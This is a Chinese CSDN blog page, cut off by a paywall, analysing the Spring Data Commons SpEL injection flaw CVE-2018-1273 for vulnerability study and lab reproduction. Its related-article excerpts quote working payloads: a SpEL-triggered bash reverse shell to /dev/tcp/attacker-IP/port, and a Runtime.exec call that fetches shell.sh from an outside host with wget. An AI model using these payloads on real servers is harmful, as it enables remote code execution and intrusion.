CVE-2018-1273：Spring Expression Language 漏洞分析

最新推荐文章于 2024-07-25 09:45:00 发布
最新推荐文章于 2024-07-25 09:45:00 发布
阅读量6.4k 收藏
点赞数
分类专栏： 软件
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/qq_22655689/article/details/79920104
版权
本文分析了Spring Expression Language（SpEL）中的CVE-2018-1273漏洞，详细解释了漏洞成因、受影响的版本以及攻击方式。通过类类型表达式和类实例化，攻击者可以实现远程代码执行。文章还提供了实战分析，展示了如何构造Exploit，并给出了使用华为云WAF防护和代码框架升级的修复建议。
摘要由CSDN通过智能技术生成

0x00 背景

最近Spring框架不大太平，接连爆出来多个RCE远程代码执行的CVE漏洞，其中有CVE-2018-1270，CVE-2018-1273，通过对造成漏洞部分代码进行分析,发现都是因为滥用SpEL的StandardEvaluationContext。

x01 漏洞影响

攻击者可以在未获得授权的情况下，将精心制作的请求参数注入到存在该漏洞的服务器上，从而发起远程代码执行攻击。

受影响的范围

· Spring Data Commons 1.13 - 1.13.10 (Ingalls SR10)

· Spring Data REST 2.6 - 2.6.10 (Ingalls SR10)
· Spring Data Commons 2.0 to 2.0.5 (Kay SR5)
· Spring Data REST 3.0 - 3.0.5 (Kay SR5)
· 更早的版本也会受到影响

0x02 SpEL

SpEL是一门非常简单的表达式语言，但是功能或者权限来说太大了，因此这里如果表达式能够被外部污染，基本上都可以造成RCE。

SpEL的具体语法，我这里就不一一介绍了，详情参考官方文档。我这里只说两个能够被有效利用的点。

类类型表达式

使用类类型表达式还可以进行访问类静态方法及类静态字段。使用T()来表示，其中类名必须是全称，java.lang包除外。因此这里就出现了第一类payload

最低0.47元/天 解锁文章
最近隐姓埋名中
关注
专栏目录
CVE-2018-1270，CVE-2018-1273：Spring Expression Language 漏洞分析
qq_22655689的博客
04-12 1460
0x00 背景     最近Spring框架不大太平，接连爆出来多个RCE远程代码执行的CVE漏洞，其中有CVE-2018-1270，CVE-2018-1273，通过对造成漏洞部分代码进行分析,发现都是因为滥用SpEL的StandardEvaluationContext。   0x01 漏洞影响 攻击者可以在未获得授权的情况下，将精心制作的请求参数注入到存在该漏洞的服务器上，从而发起...
[Java安全]Spring Data Commons之CVE-2018-1273
snowlyzz的博客
02-08 691
从CVE-2018-1273看漏洞分析
Spring Data Commons远程命令执行漏洞_CVE-2018-1273（反序列Runtime方法）
weixin_42786460的博客
09-16 403
Spring Data Commons远程命令执行漏洞_CVE-2018-1273（反序列Runtime方法）
Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）
最新发布
liangjiao_shou的博客
07-25 154
Spring Data是一个用于简化数据库访问，并支持云服务的开源框架，Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以执行任意命令。Spring Data Commons 远程命令执行漏洞（CVE-2018-1273）bp进行抓包，然后进行修改。
spring(CVE-2018-1273)远程代码执行漏洞复现
热门推荐
勤劳的码农的博客
03-12 1万+
Spring Data 是Spring框架中提供底层数据访问的项目模块，Spring Data Commons 是一个共用的基础模块。此模块对特殊属性处理时会使用SpEl表达式，导致攻击者可以通过构造特殊的URL请求，造成服务端远程代码执行。在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以执行任意命令。Spring在补丁中使用更加安全的SimpleEvaluationContext替换了StandardEvaluationContext。
cve-2018-1273 Spring Expression Language 漏洞分析
whatday的专栏
07-31 1039
目录 0x00 背景 x01 漏洞影响 受影响的范围 0x02 SpEL 类类型表达式 类实例化 变量和函数的使用 0x03 SpEL调试 0x04 实战分析 CVE-2018-1273 攻击Exploit的诞生 0x00 背景 最近Spring框架不大太平，接连爆出来多个RCE远程代码执行的CVE漏洞，其中有CVE-2018-1270，CVE-2018-1273，通过对造成漏洞部分代码进行分析,发现都是因为滥用SpEL的StandardEvaluationContext。 x0
linux漏洞分析,Spring-data-commons(CVE-2018-1273)漏洞分析
weixin_39830303的博客
05-13 865
前言CVE-2018-1273 是 Spring-data-commons近期爆出的一个可远程执行代码的漏洞，为了了解更多细节，本文将从漏洞的成因，漏洞的判定以及漏洞的利用三个方面来进行详细说明。漏洞的成因当用户在项目中利用了Spring-data的相关web特性对用户的输入参数进行自动匹配的时候，会将用户提交的form表单的key值作为Spel的执行内容，而这一步就是本次漏洞的爆发点。漏洞的判定...
漏洞复现—Spring CVE-2016-4977/CVE-2017-4971/CVE-2017-8046/CVE-2018-1270/CVE-2018-1273
weixin_45556536的博客
12-24 1351
CVE-2017-4971 // 注意反弹的端口和IP修改，反弹语句需要url编码 &_(new+java.lang.ProcessBuilder("bash","-c","bash+-i+>%26+/dev/tcp/攻击机IP/端口号+0>%261")).start()=vulhub
SpringCloud Function SpEL注入漏洞分析（CVE-2022-22963）.doc
07-08
SpringCloud Function SpEL 注入漏洞分析（CVE-2022-22963） SpringCloud Function 是 Spring 提供的一套分布式函数式编程组件，旨在帮助开发者专注于业务逻辑实现，而不需要关心服务器环境运维等问题。然而，在 ...
CVE-2018-1273漏洞复现
qq_56426046的博客
09-11 1004
搭建好vulhub环境，选择 CVE-2018-1273漏洞通过"docker-compose build"和"docker-compose up -d"拉取环境,之后访问服务器ip:8080/users看环境是否成功。
[春秋云镜]CVE-2018-1273
niubi707的博客
12-02 5349
[春秋云镜]CVE-2018-1273Spring Data是一个用于简化数据库访问，并支持云服务的开源框架，Spring Data Commons是Spring Data下所有子项目共享的基础框架。Spring Data Commons 在2.0.5及以前版本中，存在一处SpEL表达式注入漏洞，攻击者可以注入恶意SpEL表达式以执行任意命令。
spring:CVE-2018:1273
weixin_69670995的博客
05-18 483
使用浏览器访问users，并输入随便东西。在kali上使用vim新建测试txt文件。使用dirsearch工具进行目录扫描。使用python3开启临时http。修改payload，让靶机执行木马。修改payload，提升木马权限。发到重发器，并修改post传参。返回200，上传txt文件成功。修改paylaod，上传木马。执行成功，返回靶机shell。使用burp抓包，点击注册。返回200，上传成功。
春秋云镜 CVE-2018-1273
qq_22002773的博客
09-04 213
春秋云镜 CVE-2018-1273
Spring RCE漏洞分析2（CVE-2018-1273）
hldfight
05-07 1988
0x00 前言 继续分析Spring的历史漏洞，本篇记录Spring Data Commons的远程代码执行漏洞（CVE-2018-1273）的分析。 0x01 环境搭建 使用的Spring Data Example Projects提供的示例代码。 但该项目中包含有15个子模块，如果将其整体导入IDEA，则需要下载所有模块中的依赖，显然这是没有必要的。通过参考这篇文章，发现只需导入web模块中的...
Spring Data Commons远程命令执行漏洞复现（CVE-2018-1273）
wutiangui的博客
09-10 866
下载文件请求包：username[#this.getClass().forName(“java.lang.Runtime”).getRuntime().exec(“/usr/bin/wget -O /tmp/1.sh http://192.168.155.2:8081/shell.sh”)]&password=test&repeatedPassword=test。访问http://192.168.25.128:8080/users，注册，BP抓包。在sh文件所在目录开启http服务。2.开启http服务。
[CVE-2018-1273] Spring Data commons SpEL表达式注入RCE
公众号shadow sock7
03-19 687
官方通告： https://tanzu.vmware.com/security/cve-2018-1273 提到了两个commit，都是在spring-data-commons-1.13.10.RELEASE.jar!\org\springframework\data\web\MapDataBinder# 环境搭建参考： https://github.com/wearearima/poc-cve-...
利用CVE-2018-12613漏洞：远程文件包含与加固教程
"E042-服务漏洞利用及加固-利用CVE-2018-12613漏洞实现远程文件包含" 本课程主要关注网络安全中的一个具体实例，即如何利用CVE-2018-12613漏洞进行远程文件包含攻击，并介绍相应的加固方法。CVE-2018-12613是...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值